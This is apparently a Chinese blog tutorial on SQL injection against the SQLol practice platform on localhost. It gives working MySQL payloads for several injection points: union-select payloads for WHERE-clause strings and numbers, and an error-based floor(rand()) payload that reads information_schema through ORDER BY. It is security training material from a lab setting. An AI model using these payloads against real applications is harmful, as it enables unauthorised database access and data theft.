SQL注入測試平臺 SQLol -2.SELECT注入測試

    前面,咱們已經安裝好了SQLol,打開http://localhost/sql/,首先跳轉到http://localhost/sql/select.php,咱們先從select模塊進行測試。php

 

一條完成Select語句,大體能夠這樣表示:html

SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]

接收的參數可能拼接到上述語句中【】的任一個位置。sql

注射位置不一樣,構造sql注入語句的方法也有所不一樣,但大體能夠劃分爲三種。數據庫

一、聯合查詢(union select)微信

二、報錯注入函數

三、盲注(布爾類型、時間延遲類型)測試

有的注入點能夠同時使用多種方法注入,這裏只演示一種。orm

下面演示注入到不一樣位置的方法。htm

 

1、WHERE 子句裏的字符串blog

Tips:字符型注入;

在注射字符串中輸入:admin,顯示語句,選擇注射位置爲,WHERE子句裏的字符串,返回的信息爲:

SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC 

能夠知道咱們輸入的admin,被拼接到where子句裏面,而後咱們開始構造POC:

admin' union select user()#

以下圖,咱們取得數據庫用戶名(root@localhost),能夠將user()替換爲其餘查詢語句查詢其餘數據。

 

 

2、WHERE 子句裏的數字

Tips:與上面的WHERE 子句裏的字符串相似,所不一樣的,這是數字型注入;

在注射字符串中輸入:1,顯示語句,選擇注射位置爲,WHERE子句裏的數據,返回的信息爲: 

SELECT username FROM users WHERE isadmin = 1  GROUP BY username ORDER BY username ASC 

構造POC:

SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC 

以下圖,咱們取得數據庫用戶名。

 

3、整個語句

Tips: 直接能夠執行任何sql語句

在注射字符串中輸入:select * from users,users爲數據庫用戶表,顯示語句,選擇注射位置爲,整條語句,返回的信息爲:

select * from users 

能夠在這裏輸入任何的sql語句執行。

 

4、Column 名稱

Tips: 注入位置在username

 SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

利用方式:

一、輸入字段查詢users表,或直接用*代替,查詢users表中全部的數據

二、註釋掉後面的語句,與select直接拼接,例如:注射字符串位置輸入version(),拼接成

SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

替換version(),輸入其餘數據庫查詢語句,可查詢其餘數據

 

 

5、Table 名稱

 Tips:注射位置在表users

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

利用方式:

一、輸入正確的表名,union select查詢

 

 

6、ORDER BY 子句

Tips:注射位置在order by  

當使用union操做時,排序語句必須放在最後面才正確,就是說只能在union的最後一個子查詢中使用order by,所以這裏不能用union slect。

利用方式:

報錯注入

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

獲得數據庫sqlol,能夠使用其餘語句繼續報錯注入。 

參考資料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

 

7、GROUP BY 子句

Tips:注射位置在group by

GROUP BY 語句用於結合合計函數,根據一個或多個列對結果集進行分組。

利用方式:  

一、與order by 同樣,直接報錯注入

二、在MSSQL中,能夠利用group by  , having 進行爆當前列

8、HAVING 子句

Tips:having位置

利用方式:

報錯注入

 

最後

歡迎關注我的微信公衆號:Bypass--,每週一篇原創高質量的乾貨。 

 

相關文章
相關標籤/搜索